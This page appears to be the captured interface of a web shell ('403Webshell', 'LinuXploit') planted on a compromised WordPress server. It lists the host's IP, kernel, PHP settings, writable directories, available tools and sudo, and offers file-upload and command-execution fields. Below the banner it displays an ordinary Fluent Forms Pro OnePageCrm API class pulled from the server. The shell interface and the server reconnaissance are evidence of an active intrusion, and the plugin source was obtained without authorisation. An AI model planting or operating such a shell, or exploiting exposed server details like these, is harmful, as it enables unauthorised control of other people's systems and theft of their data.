403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluentformpro/src/Integrations/OnePageCrm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluentformpro/src/Integrations/OnePageCrm/API.php
<?php

namespace FluentFormPro\Integrations\OnePageCrm;

if (!defined('ABSPATH')) {
    exit; // Exit if accessed directly.
}

class API
{
    protected $clientId = null;

    protected $clientSecret = null;

    protected $accessToken = null;

    protected $url = 'https://app.onepagecrm.com/api/v3/';

    public function __construct($settings)
    {
        $this->clientId = $settings['client_id'];
        $this->clientSecret = $settings['client_secret'];
        $this->accessToken = 'Basic ' . base64_encode($settings['client_id'] . ':' . $settings['client_secret']);
    }

    public function checkAuth()
    {
        return $this->makeRequest($this->url . 'bootstrap');
    }

    public function getAccessToken()
    {
        return [
            'access_token' => $this->accessToken,
        ];
    }

    public function makeRequest($url, $bodyArgs = [], $type = 'GET')
    {
        $accessToken = $this->getAccessToken();

        $request = [];
        if ($type == 'GET') {
            $request = wp_remote_get($url, [
                'headers' => [
                    'Content-Type'  => 'application/json',
                    'Accept'        => 'application/json',
                    'Authorization' => $accessToken['access_token'],
                ]
            ]);
        }

        if ($type == 'POST') {
            $request = wp_remote_post($url, [
                'headers' => [
                    'Content-Type'  => 'application/json',
                    'Accept'        => 'application/json',
                    'Authorization' => $accessToken['access_token'],
                ],
                'body'    => $bodyArgs
            ]);
        }

        $body = wp_remote_retrieve_body($request);
        $body = \json_decode($body, true);
        $code = wp_remote_retrieve_response_code($request);

        if ($code == 200 || $code == 201) {
            return $body;
        }
        else {
            return new \WP_Error($code, $body['error_message'], $body['errors']);
        }
    }

    public function subscribe($subscriber)
    {
        $url = 'https://app.onepagecrm.com/api/v3/' . $subscriber['list_id'];

        $post = \json_encode($subscriber['attributes'], true);

        return $this->makeRequest($url, $post, 'POST');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit